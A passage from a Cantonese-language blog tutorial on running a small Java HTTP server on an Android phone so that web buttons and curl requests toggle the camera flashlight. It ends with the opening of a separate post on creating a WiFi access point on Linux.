<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjG1aN2x-sh0KKhYW5UfpccNE6VPLoVvF51hEaTbWfvyGjoz5kEHZZpbo0e5vHrE8bH7D6tE8wUmw-K2bIq9qABL0D-17nnF8gxM-gRq8rKDosUOFALF7g7yOFgIlDxKuAurQl7SC45m1jJm0FJ5KR1un-vG5lrcUC7UwHWIfcluSaPLdl0jCsfoGVi/w0/android-as-iot-065.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjG1aN2x-sh0KKhYW5UfpccNE6VPLoVvF51hEaTbWfvyGjoz5kEHZZpbo0e5vHrE8bH7D6tE8wUmw-K2bIq9qABL0D-17nnF8gxM-gRq8rKDosUOFALF7g7yOFgIlDxKuAurQl7SC45m1jJm0FJ5KR1un-vG5lrcUC7UwHWIfcluSaPLdl0jCsfoGVi/w600/android-as-iot-065.png"/></a></div>
<div>在 開發人員選項 ,啟用 <span class="mra-highlighter">USB除錯</span></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhz3KO-40fnCq0VjNVWZThrtCs5807FMoWP5JKgDsmxBUvitPLVC--I2ACrW_P8n9HR7vcX6RJqYaxZbLBQ_hxnJa-dJuwq74pVmLMCnFNbxq7gRRI8eM63ifKsPrVLhcvxLs4hAyg0GaeBVJO5MborqEDDaa58bqn-6EIJGIcJsKj4SedqRkt4LPQI/w0/android-as-iot-066.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhz3KO-40fnCq0VjNVWZThrtCs5807FMoWP5JKgDsmxBUvitPLVC--I2ACrW_P8n9HR7vcX6RJqYaxZbLBQ_hxnJa-dJuwq74pVmLMCnFNbxq7gRRI8eM63ifKsPrVLhcvxLs4hAyg0GaeBVJO5MborqEDDaa58bqn-6EIJGIcJsKj4SedqRkt4LPQI/w600/android-as-iot-066.png"/></a></div>
<div>將 Android裝置 連接到 電腦,按 允許 讓電腦能夠以 USB除錯 控制 Android裝置</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhD0dByLHY8FtwuZ4r_8s5ZarrjjgvlF0ysRm8jwZAq6log-b54ylxCSONHSCdgnjG-ascM0OpRGt4sNBOHfL45zMjf2TDcNQxLpnzniP6B3Gj3xxQE9juVKNz6lA5JpQ9KiC2Q8d2QkTwulTUk_B4rlI3AhYkyi2cYpNSYQwlMZSA58TXBCqkVm80v/w0/android-as-iot-067.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhD0dByLHY8FtwuZ4r_8s5ZarrjjgvlF0ysRm8jwZAq6log-b54ylxCSONHSCdgnjG-ascM0OpRGt4sNBOHfL45zMjf2TDcNQxLpnzniP6B3Gj3xxQE9juVKNz6lA5JpQ9KiC2Q8d2QkTwulTUk_B4rlI3AhYkyi2cYpNSYQwlMZSA58TXBCqkVm80v/w600/android-as-iot-067.png"/></a></div>
<div>Android Studio 能偵測到已啟動 USB除錯 的 Android裝置<br/>
並選取需要測試的 Android裝置</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6DDbcY18YkyV1kgqvndGdvF1-0mOFg0f0W6ld8q-oALEZ_Ke0b-AVCyi4XMV8cvh-zv7ASe5sswAJHpHSS1kQ7C5KZ4V-MGvcbigObKVfJAjK5K289Dxy__Q12qri2-bJrnJl_SOuRsR8JezQHqYbyn0JQKnUhj6IxElmJzwj_zY62aEkL4X7r6DV/w0/android-as-iot-068.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6DDbcY18YkyV1kgqvndGdvF1-0mOFg0f0W6ld8q-oALEZ_Ke0b-AVCyi4XMV8cvh-zv7ASe5sswAJHpHSS1kQ7C5KZ4V-MGvcbigObKVfJAjK5K289Dxy__Q12qri2-bJrnJl_SOuRsR8JezQHqYbyn0JQKnUhj6IxElmJzwj_zY62aEkL4X7r6DV/w600/android-as-iot-068.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJaI2fYSTQVmdfl6iYPGWJzmr89SX_ZKG2pWmDWtWmNxVs5K4EWMQ4ZcX_hEi_I0NJNbajrsZtNPv6FNW2xxOY8H72JcSixpCgEEzmlSpFVSs435TWG3GNRu7CFHk0L7lD9zNGthcR5wGMnUFcDCTzi3Y6HvtRYtN1lVUHdeNXLvDPobfXvdKEunj-/w0/android-as-iot-069.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJaI2fYSTQVmdfl6iYPGWJzmr89SX_ZKG2pWmDWtWmNxVs5K4EWMQ4ZcX_hEi_I0NJNbajrsZtNPv6FNW2xxOY8H72JcSixpCgEEzmlSpFVSs435TWG3GNRu7CFHk0L7lD9zNGthcR5wGMnUFcDCTzi3Y6HvtRYtN1lVUHdeNXLvDPobfXvdKEunj-/w600/android-as-iot-069.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgKnEsbfL11i_7dMlp06U9AWyAZcaCnxdrQOylJkOX0pQwQaaKfMz1cpeTnrkEU6mgHd9ruir8YLsmOyzeWMPv0CoAAFsJrLtckKwOqHudmQQ8YIFZDMN9m8UQTJc96RVNljbIpoOlWs46y1vxWM6iOmDa7z3jqUpPANy1ZxpdVuwBaxbocAbTkk6c/w0/android-as-iot-070.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgKnEsbfL11i_7dMlp06U9AWyAZcaCnxdrQOylJkOX0pQwQaaKfMz1cpeTnrkEU6mgHd9ruir8YLsmOyzeWMPv0CoAAFsJrLtckKwOqHudmQQ8YIFZDMN9m8UQTJc96RVNljbIpoOlWs46y1vxWM6iOmDa7z3jqUpPANy1ZxpdVuwBaxbocAbTkk6c/w600/android-as-iot-070.png"/></a></div>
<div>到 <span class="mra-highlighter">Run</span> > <span class="mra-highlighter">Run 'app'</span> 或 按 <span class="mra-highlighter">F6</span> 編譯專案並安裝到已選擇的 Android裝置</div>
<br/>
<div>使用 APK檔案 或 ADB 安裝結果都是相同<br/>
APK檔案 可以方便傳送給不同 Android裝置 安裝,除了 USB ,亦可以使用 藍牙、網絡 等方法傳送檔案<br/>
ADB 會自動安裝並執行應用程式比較簡單及快捷</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEie48HkeJSfSaCyVK2-3aVHC45hmCUwpW5mn8QyqNSjQNn06j8GMnNAV2GyfFX8P-waVIM5CApE9IOhS1v3-REZV-kPHlxI8O_Er96gGHFlKun9r9VXEfvHNxTdsRRICwKr2f0ZpOUlnx3g6bynKp_JTKd_sgrV9g8bqb9_-lakIUiZIZ9OmZFjEcDJ/w0/android-as-iot-071.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEie48HkeJSfSaCyVK2-3aVHC45hmCUwpW5mn8QyqNSjQNn06j8GMnNAV2GyfFX8P-waVIM5CApE9IOhS1v3-REZV-kPHlxI8O_Er96gGHFlKun9r9VXEfvHNxTdsRRICwKr2f0ZpOUlnx3g6bynKp_JTKd_sgrV9g8bqb9_-lakIUiZIZ9OmZFjEcDJ/w600/android-as-iot-071.png"/></a></div>
<div>不論用甚麼方法,安裝完成後,開啟應用程式</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzYkdevX2aLx25kQ4tAHJtWjjj2xnOqbMeVp2n6ZsnPty_IIP_KXaYtcfKexSxkY_fg5y_sAGfbLUgLDTx4DSRBVGOtyxF5m6YBroxLTXroAOx7W40dN4l2fzwbzVrPfZLYtxEU2D0ING7IDiDzbTqaCPqXNuhmsMwG9H2E4R-Y63-fxUpdqeuQOJj/w0/android-as-iot-072.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzYkdevX2aLx25kQ4tAHJtWjjj2xnOqbMeVp2n6ZsnPty_IIP_KXaYtcfKexSxkY_fg5y_sAGfbLUgLDTx4DSRBVGOtyxF5m6YBroxLTXroAOx7W40dN4l2fzwbzVrPfZLYtxEU2D0ING7IDiDzbTqaCPqXNuhmsMwG9H2E4R-Y63-fxUpdqeuQOJj/w600/android-as-iot-072.png"/></a></div>
<div>再次使用 Curl 測試<br/>
(對應 Android裝置 的 IP地址)</div>
<br/>
<a name="指派不同HTTP請求"></a><h4 class="mra-h4">指派不同 HTTP請求</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3G1bZesSjDYNl_rWQgT5OtgLimq6q_YxJ0Y9zln7UZQJR5osdJt4zpNUOl7aRkgbUxHVy90BaTww9ThZHfGZbi2JqF1mgl-6vURkcXerwzCS2ife-KVfpwkepmvFMQHDGGfyXL7fIjL4lWRXZ_kNm_aGiAeK6n5CAU2BBnTDk-2P4gtAvgfMfnqfv/w0/android-as-iot-073.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3G1bZesSjDYNl_rWQgT5OtgLimq6q_YxJ0Y9zln7UZQJR5osdJt4zpNUOl7aRkgbUxHVy90BaTww9ThZHfGZbi2JqF1mgl-6vURkcXerwzCS2ife-KVfpwkepmvFMQHDGGfyXL7fIjL4lWRXZ_kNm_aGiAeK6n5CAU2BBnTDk-2P4gtAvgfMfnqfv/w600/android-as-iot-073.png"/></a></div>
<div>確認 HTTP伺服器 能夠在 Android 運作後,修改 HTTP伺服器 的程式碼<br/>
接收不同的 HTTP請求 ,傳回相對的 HTTP回應</div>
<br/>
<pre class="brush:java">String[] requests = bytes.toString().split("\r\n\r\n", 2);
String[] heads = requests[0].split(" ");
if (heads[1].equals("/torch-on")) {
CameraManager cameraManager = getSystemService(CameraManager.class);
for (String cameraId : cameraManager.getCameraIdList()) {
if (cameraManager.getCameraCharacteristics(cameraId).get(CameraCharacteristics.FLASH_INFO_AVAILABLE)) {
cameraManager.setTorchMode(cameraId, true);
}
}
OutputStream output = client.getOutputStream();
output.write("HTTP/2 200 OK\n".getBytes());
output.write("Connection: close\n".getBytes());
output.write("\n".getBytes());
output.write("torch on".getBytes());
output.flush();
output.close();
} else if (heads[1].equals("/torch-off")) {
CameraManager cameraManager = getSystemService(CameraManager.class);
for (String cameraId : cameraManager.getCameraIdList()) {
if (cameraManager.getCameraCharacteristics(cameraId).get(CameraCharacteristics.FLASH_INFO_AVAILABLE)) {
cameraManager.setTorchMode(cameraId, false);
}
}
OutputStream output = client.getOutputStream();
output.write("HTTP/2 200 OK\n".getBytes());
output.write("Connection: close\n".getBytes());
output.write("\n".getBytes());
output.write("torch off".getBytes());
output.flush();
output.close();
} else {
OutputStream output = client.getOutputStream();
output.write("HTTP/2 200 OK\n".getBytes());
output.write("Connection: close\n".getBytes());
output.write("\n".getBytes());
output.write("hello, world".getBytes());
output.flush();
output.close();
}</pre>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ1qwiOxirUQ-HMinY7tOinU9jbcf9LezpY_nLa_AxyA53suvUrv24ZxnJvPmnAh1zolQLahRNuU3ATcUFpS1ykyGzbTcjnCZnpwNnTi46Z2eoR5tjrFbIduVE3F7MTG3OtuF4k2-zQ1sxZGQ0YLt5aMGyieL7YFvZ6IVNePwEczL_sELoSN573jRo/w0/android-as-iot-074.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ1qwiOxirUQ-HMinY7tOinU9jbcf9LezpY_nLa_AxyA53suvUrv24ZxnJvPmnAh1zolQLahRNuU3ATcUFpS1ykyGzbTcjnCZnpwNnTi46Z2eoR5tjrFbIduVE3F7MTG3OtuF4k2-zQ1sxZGQ0YLt5aMGyieL7YFvZ6IVNePwEczL_sELoSN573jRo/w600/android-as-iot-074.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirZ5U1oMCVd_WruSmtwd1ePDPn5D5HZ_Im3wW_tuCZwqlAR66ozqC1aB_4vk6eeKpfZwVP0lQNVLFou14tuUch_-Qn8paMm8lPDlaFNyoWc91Y3irdiThnP-hTRUrjpeBowhPthsPbTZvgPiIL8Fc2tty4yQOcSh3HXRksAt46rvBdNlm5rV9KsZYW/w0/android-as-iot-075.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirZ5U1oMCVd_WruSmtwd1ePDPn5D5HZ_Im3wW_tuCZwqlAR66ozqC1aB_4vk6eeKpfZwVP0lQNVLFou14tuUch_-Qn8paMm8lPDlaFNyoWc91Y3irdiThnP-hTRUrjpeBowhPthsPbTZvgPiIL8Fc2tty4yQOcSh3HXRksAt46rvBdNlm5rV9KsZYW/w600/android-as-iot-075.png"/></a></div>
<div>由於部分程式碼無法在 版本較低的 Android裝置 中執行,因此會出現 <span class="mra-highlighter">警告或提示</span><br/>
按 <span class="mra-highlighter">左邊的紅色警告圖示</span> 查看修正方法<br/>
在下使用 <span class="mra-highlighter">Add @RequiresApi(M) Annotation</span><br/>
Android Studio 會將 <span class="mra-highlighter">@RequiresApi(api = Build.VERSION_CODES.M)</span> 安置到功能註解</div>
<br/>
<div style="color:red; font-size: 24pt;">當 @RequiresApi 已經安置<br/>
當程式碼中再有相同的修正建議<br/>
Android Studio 不會更新已存在的註解<br/>
需要手動更新 或 刪除已存在的註解再使用自動修正</div>
<br/>
<div><a href="https://photos.google.com/share/AF1QipO-kodZmSu_tbvnihsI8QvM2KUF4hHuPdtMloqREjK7keV9diErWDQVd328RdiDXw/photo/AF1QipOmvQSM6vgXavWWz1-JV-avjqxXaUOHKKAqiiHn?key=ZTBxVUUyekNCenNuVTVLX0ZfcVQxb0QtZ1liOXZR"><img alt="見下文" title="見下文" width="600" src="https://lh3.googleusercontent.com/-VzveFaq3_qA/ZE_LNPIZEDI/AAAAAAADDrE/TJuLYObsdgUmP2rqzRs4vWZtKI_AHBHYQCEwYBhgLKv0FADGYw-yyNJSirp7LaP89SZbQ0cbF-IpMj1ZjFEjhKsaqDCvyXWOAQTiJ3cEKPj_RO9gCoCtF2iYMSonjzqi-iByqgEs4ArP1t4P-NNYda7w2uyfyQUGPg6-X26DW3YXQA0nzlnHXBoROpI4u1l_LeyUJARg7kPQXDl_8sZePxoRkiJzYFQlmJYhCotbfTy24xEJyl62E3UjyRYB2qV7yIGr42NjVIaXuR6Feha3pOIj1cpV6sDTOFMd07OmZeLEnv85ocdyi54740K42grFfhy3aHnnHs0F_GifwNQEWvMwtq_fAm9IIUsx_D4DXM5nZjknOkaBMfeeIPnXonSwgHWGeIVbflTEn5OLl85qA0FFGX6cRMCfIgAP31ZN7yzToXRWGllQDl_8uqXonBQe7tcA3lpqJCxPFddkG8J00cOU4EDzOAK03Swy3uTBU6NVZ5GQG549aIC1l4Q6SnasGRWbzkdmudi-cS1wqoeP39jZ-Hqj33j7VSz6wE_nVwv8-gukE15Sf4RiF5sFpfWBuwkqC1jacse7oACQXaI0NP7KTVcTZ5K1cNSfOAxt2gLW8nR9OuRM0bWi87fi9qPZJkboYGEU_068n0bHjzfKvKTWgNbLZs7g0vFm6t1xYRqxk4B6NbgqUAu_W097555fvHkAhctBCWu7SvdhSr2gzkg26iJ6udxj5KJyxIw_Qy7umqlwcWds0UgJgEX4XGnUOJmAyC7WiAc0HarkoR8qVKpbXgofOegmMoqeepjSn3t7YY7J7pNkoe65QSk1LiTVQR4KVhFz4u-B_D9f9gmNl7zHIySjnSFpseqmWtKf9I1rU5qIQC-HXgMia35G-ovabKGZFzU5qKE5c0eywF1E8w8xG18STVT0oYUdI5wxAMjmro6RUsKpmvggZi0zoDelmXTn7ztxG4-4cPC8XNWTOnco8PObbsC7HgJ3nyH--Vjp1PwlBkzQ4-EipZK3qi3XD0YcAtOnbnQmOsi0GrK6PM3wCqpESRg_l_yi3s-9MMOC7v6IG/w0/android-as-iot-076.jpg"/></a></div>
<div>向 HTTP伺服器 發送 指定 HTTP請求,達至遙距操作效果</div>
<br/>
<a name="製作操作界面"></a><h4 class="mra-h4">製作操作界面</h4>
<div>雖然使用 Curl 發送 HTTP請求 很方便,但一般使用者並不容易使用指令操作的工具<br/>
製作只需要點擊操作的界面便可以更簡單控制 Android裝置</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuFsgqlNxd-7qChVPSoNRW9VBwgDUJIbMRA5cqAmchwVFCzY3iUbMq6Jhk50INa61_LMyAYqKV8PAia4cMJaOo8X8pY3yGYqy4QZokuxL2BpNcxH6AuLoe4sPDBINCS4Trjuu7umf2PYFLX_IiELtPXs94C_8OyP-ExzazeT3B-5erXKFH2YSpVGtP/w0/android-as-iot-076.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuFsgqlNxd-7qChVPSoNRW9VBwgDUJIbMRA5cqAmchwVFCzY3iUbMq6Jhk50INa61_LMyAYqKV8PAia4cMJaOo8X8pY3yGYqy4QZokuxL2BpNcxH6AuLoe4sPDBINCS4Trjuu7umf2PYFLX_IiELtPXs94C_8OyP-ExzazeT3B-5erXKFH2YSpVGtP/w600/android-as-iot-076.png"/></a></div>
<div>到 res > New > Directory</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJ_oQAfixlWwyo7DDv9i6-hYuKFp_W35ojaoJRNhhLtMFse3aOpG0Xcg9k7MPtkiVeWFC251dbMi5LLErLgAuTqJA8z7Z0cpPoShkjB-0ckF9YFfp1IXIWJVBXcRdBNw3A_y4fy9k2hlz77VmrSrzfKJs_PXbO0Q9DwMn1FjGfVt6q_RiHi-RTMec3/w0/android-as-iot-077.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJ_oQAfixlWwyo7DDv9i6-hYuKFp_W35ojaoJRNhhLtMFse3aOpG0Xcg9k7MPtkiVeWFC251dbMi5LLErLgAuTqJA8z7Z0cpPoShkjB-0ckF9YFfp1IXIWJVBXcRdBNw3A_y4fy9k2hlz77VmrSrzfKJs_PXbO0Q9DwMn1FjGfVt6q_RiHi-RTMec3/w600/android-as-iot-077.png"/></a></div>
<div>目錄名稱為 raw<br/>
(必須是 raw ,大小寫相符)</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_hQf5d0qCi7eYZT9Us9LPXXOQ7ik1wr9jROVQW6lKGVEZzgXyEBdy9uzzAM2nXea2EtOGxamkBviMcexdTy7WV2PSccT9zuoDQRrlemeC9d2-RW8v3KiwOM37G39J1Ho-3wENZU1_u-KpGAR8brV-GLV50SJI71uJloOjQ0zEptKHWppEhOgp2mSC/w0/android-as-iot-078.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_hQf5d0qCi7eYZT9Us9LPXXOQ7ik1wr9jROVQW6lKGVEZzgXyEBdy9uzzAM2nXea2EtOGxamkBviMcexdTy7WV2PSccT9zuoDQRrlemeC9d2-RW8v3KiwOM37G39J1Ho-3wENZU1_u-KpGAR8brV-GLV50SJI71uJloOjQ0zEptKHWppEhOgp2mSC/w600/android-as-iot-078.png"/></a></div>
<div>到 res > raw > New > File</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKYsERWOstBiYV4UkF51kPmO9umig1FL7JlPIh1cOFknmXSjOMF_cjyxlLe6wAZ0x53hfKCYz3pNVyjJpbgk2t6-6NOVLRLlCgQ6FTs0OLFoGeTfYODnWj88Xo8NRAQDqPMPvh7lcCUPm5p28jzLQetSrfC6cLKuoxYP6jEXd1rT3MJwyFH-TcoRNp/w0/android-as-iot-079.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKYsERWOstBiYV4UkF51kPmO9umig1FL7JlPIh1cOFknmXSjOMF_cjyxlLe6wAZ0x53hfKCYz3pNVyjJpbgk2t6-6NOVLRLlCgQ6FTs0OLFoGeTfYODnWj88Xo8NRAQDqPMPvh7lcCUPm5p28jzLQetSrfC6cLKuoxYP6jEXd1rT3MJwyFH-TcoRNp/w600/android-as-iot-079.png"/></a></div>
<div>檔案名稱為 index<br/>
(檔案名稱並沒有限制,但不能具備副檔名,大小寫相符)</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiegUhvHOj-OC5e4p53IEYQs6xOtdX0HCkIhXI-9ZhetOrur4rZaeRbD1Rlba5EY_Q5hMGdeKgDVOF0WYo6JhuJb97JAtdAoat8r860BPnyYhL7h8QrbYlqkk3ksSxN01pbYSFU_0ZauljxvhOhMFJQUSkZHQ3Iy1EjLUcMnUKVWYvee0kYIT70YwwX/w0/android-as-iot-080.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiegUhvHOj-OC5e4p53IEYQs6xOtdX0HCkIhXI-9ZhetOrur4rZaeRbD1Rlba5EY_Q5hMGdeKgDVOF0WYo6JhuJb97JAtdAoat8r860BPnyYhL7h8QrbYlqkk3ksSxN01pbYSFU_0ZauljxvhOhMFJQUSkZHQ3Iy1EjLUcMnUKVWYvee0kYIT70YwwX/w600/android-as-iot-080.png"/></a></div>
<div>製作 HTML檔案</div>
<pre class="brush:html"><!DOCTYPE html>
<html lang="zh-yue">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<title>Android As IOT Index</title>
<script>
// <!--
function sendHttpRequest(form, data) {
var xhr = new XMLHttpRequest();
var method = form.getAttribute("data-method").toUpperCase();
if (method == "GET") {
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
window.alert(xhr.responseText);
}
}
}
xhr.open(form.getAttribute("data-method").toUpperCase(), form.action, true);
xhr.send(data);
return method == "GET";
}
// -->
</script>
</head>
<body>
<form action="/torch-on" method="get" data-method="PUT" onsubmit="return sendHttpRequest(this, null);">
<input type="submit" value="Torch On"/>
</form>
<form action="/torch-off" method="get" data-method="PUT" onsubmit="return sendHttpRequest(this, null);">
<input type="submit" value="Torch Off"/>
</form>
</body>
</html></pre>
<div>由於在下使用不同 請求方法 區分 操作類型,例如:<br/>
<ul>
<li>讀取資料 使用 GET</li>
<li>寫入資料 使用 POST</li>
<li>修改資料 使用 PUT</li>
<li>刪除資料 使用 DELETE</li>
</ul>
避免單純的連結便可以執行寫入、修改、刪除等操作<br/>
但 HTML 的 表單提交 不支援 GET 及 POST 以外的 請求方法<br/>
因此使用 XMLHttpRequest 來代替 表單提交 ,並使用 data-method 的取代 method</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQh2Hcjtnx-siI7X5p-k2FGO6erBAUzDfPBR44M2MI2_Ejg0RPfVbgppl8P8zflG23Gw6Ir4SpVy_NCF95iSL3adpWr_EFcaWS9akZSkWOY4IuEkqUk8_hIlxapPvQ_OqhzPIrKLci7mhLUulk-1ySa1r4DDOYHoopuUZop7B3fq9WuT3sBYttK7S8/w0/android-as-iot-081.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQh2Hcjtnx-siI7X5p-k2FGO6erBAUzDfPBR44M2MI2_Ejg0RPfVbgppl8P8zflG23Gw6Ir4SpVy_NCF95iSL3adpWr_EFcaWS9akZSkWOY4IuEkqUk8_hIlxapPvQ_OqhzPIrKLci7mhLUulk-1ySa1r4DDOYHoopuUZop7B3fq9WuT3sBYttK7S8/w600/android-as-iot-081.png"/></a></div>
<div>將 HttpServer 修改,加入索引頁,並將 index HTML檔案引導至 HttpServer</div>
<pre class="brush:java">if (heads[1].equals("/index")) {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// R.raw.index matches file located in raw/index
InputStream inputStream = getResources().openRawResource(R.raw.index);
byte[] buffer = new byte[1024 * 1024 * 16];
for (int length; (length = inputStream.read(buffer)) > 0; ) {
byteArrayOutputStream.write(buffer, 0, length);
}
inputStream.close();
byteArrayOutputStream.flush();
byteArrayOutputStream.close();
OutputStream output = client.getOutputStream();
output.write("HTTP/2 200 OK\n".getBytes());
output.write("Content-Type: text/html; charset=UTF-8\n".getBytes());
output.write("Connection: close\n".getBytes());
output.write("\n".getBytes());
output.write(byteArrayOutputStream.toByteArray());
output.flush();
output.close();
} else if (heads[0].toUpperCase().equals("GET")) {
// do something with GET method
} else if (heads[0].toUpperCase().equals("POST")) {
// do something with POST method
} else if (heads[0].toUpperCase().equals("PUT")) {
// do something with PUT method
} else if (heads[0].toUpperCase().equals("DELETE")) {
// do something with DELETE method
}</pre>
<br/>
<div><a href="https://photos.google.com/share/AF1QipO-kodZmSu_tbvnihsI8QvM2KUF4hHuPdtMloqREjK7keV9diErWDQVd328RdiDXw/photo/AF1QipNxjF15efV37Ixp-jv6_c_wcB4kEm4yCqJPANx3?key=ZTBxVUUyekNCenNuVTVLX0ZfcVQxb0QtZ1liOXZR"><img alt="見下文" title="見下文" width="600" src="https://lh3.googleusercontent.com/-W9l2WQC75-0/ZFPVSRcB9KI/AAAAAAADDx0/4n5F9bnb09wjlOyMSl6q0GNVh0s-AsoQwCEwYBhgLKv0FADGYw-yRmCqUBdyAs86ZXHphOijX5wBPb5fdnZEhISm3jVGNR-4eRdCSpxVBUeJk1-gP4w5YxJJoDw7UsOqJz2tfxF8oYjcfFVVKQ_f-j1-EvJKUgBHox2Xr7ZNdybD6BAG4i9g_hYmABdbZ4DFLTNQZsH3HpINrq68nzMQ-0R6OPFf8WAF-iMcOf3AJZAsiCbiqQcxbo64Yv_GqgNbzADTAM99Fc_TkyLnBEneKNv2Ra6G2cfvvK76TkFQWaBKDijzkntPFDEUQoeTEhNLRJ4TGlJiCoP5Ske0GwPNYfg1iGZdDBrF-TNAnw4sM9CvcUxTh3Bn9aHjv5iAuU7-lHzp9pewQWlijXqx4sQhhzWkAz_eD3wytO__2BiTYxoS9mcx8UhNwd1FZ9q6uxBrqTKTSHWmCwwk77nAoFavYKMp0nT-wLETe0S6ho6pUlx2OMy1-4tu7Ce4RW9LVBZrtwDo_rhO6qFLKXxfsNFOjMZ8uvTFYe3d6yifmPLyy2kYcwnGk3YOXgkTDCt-bnpHMyqAkR-0b-iZANSc4Stvda24yXNWv8Ynm4HDCCACBKR8d1tg6zv9DSaNg0lcAaboMBcp7bwEl7b63A70KG5DPn0dEX7ceWG9pCsDW2aCtIU3Rr9wP6_Ynz3w8zJpR4A42olqnG6eSyy_aXGUmzPtjMIK5ocGn-VRaaYS5tib8Z8j8gYMJFJDjwdz_28xqJyRFx8jnoIiI5FYndFdCgABQ0STo15Yv5Ga3b9by58hoAfYSd94ToHzwEY7mJhzF0naLhcbs7jfZ-SxFMlPye9_cyJ9yfQUY3cA7iPDpN3J20MA_-jSj6OU0sE9O24i4QHibw4OoMpRxHHIHUKzRl8FJq6YwFTc9zTWL8rN7b9JT8wuvfMddJ18awWxb3l8K4geYIpr6dpx2tKgDdIb2UubQDxwAkX228VciYZn_jRlJWpigT8NDtV1zf36gBOyobAc0ubrGfqXTYoNzWwiGmkpr-DpsdMUD98sVUyLOUIFaMJXC0aIG/w0/android-as-iot-082.mp4"/></a></div>
<div>測試效果</div>
<br/>
<div>使用上,自製HTTP伺服器 的回應速度比 Termux 上的 HTTP伺服器 快</div>
<br/>
<a name="總結"></a><h4 class="mra-h4">總結</h4>
<div>由於 Android裝置 通常都已經內建大量模組,除了能控制閃光燈外<br/>
還可以監察定位、陀螺儀、文字轉語音等服務;亦有儲存空間以紀錄資訊</div>
<br/>
<div>美中不足的是普遍常見既 Android裝置 都沒有 GPIO 能夠使用</div>
<br/>
<a name="參考資料"></a><h4 class="mra-h4">參考資料</h4>
<div>
<ul>
<li><a href="https://termux.dev/">新版 Termux 官方網頁</a></li>
<li><a href="https://github.com/termux">Termux @ GitHub</a></li>
<li><a href="https://f-droid.org/zh_Hant/packages/com.termux/">Termux @ F-droid</a></li>
</ul>
</div>HKGoldenMr.Ahttp://www.blogger.com/profile/03544013074844149004noreply@blogger.com0tag:blogger.com,1999:blog-4749999961332526255.post-84642724831963916012023-03-27T11:42:00.001+08:002023-05-22T10:48:25.514+08:00在 Linux 上建立 WiFi 存取點<div>最近在工作的地方整個空間的WiFi訊號都失效<br/>
部分只有無線連接的工具都無法使用,但這些工作又必須使用,但沒有額外 WiFi Router 能夠使用<br/>
因此在下使用 WiFi USB裝置,讓其中一部電腦當作存取點讓其他裝置連接</div>
<a name='more'></a>
<div class="mra-index">
<ul>
<li><a href="#建立存取點">建立存取點</a>
<li><a href="#測試存取點">測試存取點</a>
<li><a href="#測試速度">測試速度</a>
<li><a href="#總結">總結</a></li>
<li><a href="#參考資料">參考資料</a></li>
</ul>
</div>
<a name="建立存取點"></a><h4 class="mra-h4">建立存取點</h4>
